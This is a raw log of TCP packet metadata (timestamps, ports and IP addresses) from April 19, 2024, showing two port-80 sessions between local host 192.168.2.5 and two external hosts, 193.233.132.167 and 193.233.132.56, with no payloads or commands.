Apr 19, 2024 03:29:05.055636883 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055675030 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055686951 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055685997 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.055685997 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.055685997 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.055685997 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.055712938 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055722952 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055753946 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055759907 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055793047 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055804968 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055831909 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055840969 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055870056 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055881977 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055908918 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055918932 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055948019 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.055959940 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.055988073 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.055999041 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.056026936 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056047916 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056067944 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056081057 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056128979 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056134939 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056174994 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.056194067 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056212902 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.056222916 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.056252956 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056263924 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.056293011 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056315899 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056329966 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056349039 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056366920 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056377888 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056405067 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056415081 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056443930 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056456089 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056500912 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056514978 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056540966 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056560993 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056579113 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056595087 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056617022 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056634903 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056655884 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056672096 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056696892 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056714058 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056736946 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056755066 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056775093 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056790113 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056813002 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056827068 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056852102 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056862116 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056891918 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056910038 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056929111 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056946993 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.056967020 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.056984901 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057004929 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057024002 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057043076 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057060003 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057084084 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057101965 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057122946 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057137966 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057159901 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057174921 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057197094 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057221889 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057234049 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057249069 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057274103 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057295084 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057312965 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057328939 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057356119 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057365894 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057394028 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057405949 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057432890 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057446003 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057471037 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057483912 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057511091 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057521105 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057549953 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057559013 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057590008 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057598114 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057627916 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057638884 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057666063 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057678938 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057708025 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057746887 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057749987 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057770967 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057789087 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057828903 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057847023 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057866096 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057884932 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057904005 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057923079 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.057941914 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.057955027 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.058089972 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.301412106 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.301562071 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.301594973 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.301651955 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.301666021 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.301707029 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.301769018 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.301784992 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.301826954 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.301882029 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.301915884 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.301954031 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.301968098 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.301992893 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302006960 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302042007 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302057028 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302097082 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302110910 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302145958 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302180052 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302218914 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302232027 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302258015 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302268028 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302311897 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302361965 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302375078 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302398920 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302416086 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302421093 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302454948 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302494049 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302501917 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302531958 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302541971 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302572012 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302582979 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302612066 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302620888 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302650928 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302664995 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302690029 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302701950 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302728891 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302736998 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302771091 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302777052 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302809954 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302822113 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302850008 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302862883 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302887917 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302900076 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302927017 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302938938 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.302967072 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.302977085 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303005934 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303016901 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303046942 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303052902 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303087950 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303097963 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303126097 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303137064 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303164959 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303177118 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303204060 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303215027 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303244114 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303253889 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303283930 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303296089 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303322077 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303333998 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303361893 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303373098 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303400993 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303411961 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303440094 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303446054 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303478956 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303488970 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303518057 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303524017 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303555965 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303571939 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303596020 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:05.303606033 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.303646088 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:05.304091930 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.304253101 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.304322958 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.304322958 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.304380894 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.304420948 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.304486036 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.304524899 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.304563046 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.304565907 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.304565907 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.304565907 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.304600954 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.304603100 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.304614067 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.304649115 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.304718018 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.304759979 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.304776907 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.304817915 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.304913998 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.304953098 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.304966927 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.304994106 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305005074 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305039883 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305126905 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305188894 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305191040 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305229902 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305246115 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305268049 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305278063 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305309057 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305315971 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305352926 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305425882 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305465937 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305479050 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305517912 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305577040 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305614948 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305628061 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305655956 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305666924 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305695057 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305706024 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305735111 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305744886 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305773020 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305779934 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305810928 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305821896 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305850029 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305857897 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305890083 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305896997 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305927038 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305939913 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.305964947 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.305973053 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306003094 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306011915 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306040049 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306051016 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306077957 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306091070 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306116104 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306133986 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306154966 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306174040 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306191921 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306200027 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306230068 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306241035 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306268930 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306288958 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306308031 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306313992 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306345940 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306355953 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306384087 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306404114 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306421041 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306431055 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306461096 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306473970 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306499004 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306524992 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306536913 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306560040 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306575060 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306591988 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306611061 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306627989 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306649923 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306663036 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306688070 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306710005 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306726933 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306742907 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306765079 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306777954 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306802988 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306818008 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306838989 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306854010 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306878090 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306898117 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306916952 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306938887 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306953907 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.306976080 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.306991100 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.307007074 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.307029963 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.307048082 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.307066917 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.307081938 CEST	49714	80	192.168.2.5	193.233.132.56
Apr 19, 2024 03:29:05.307104111 CEST	80	49714	193.233.132.56	192.168.2.5
Apr 19, 2024 03:29:05.307125092 CEST	49714	80	192.168.2.5	193.233.132.56
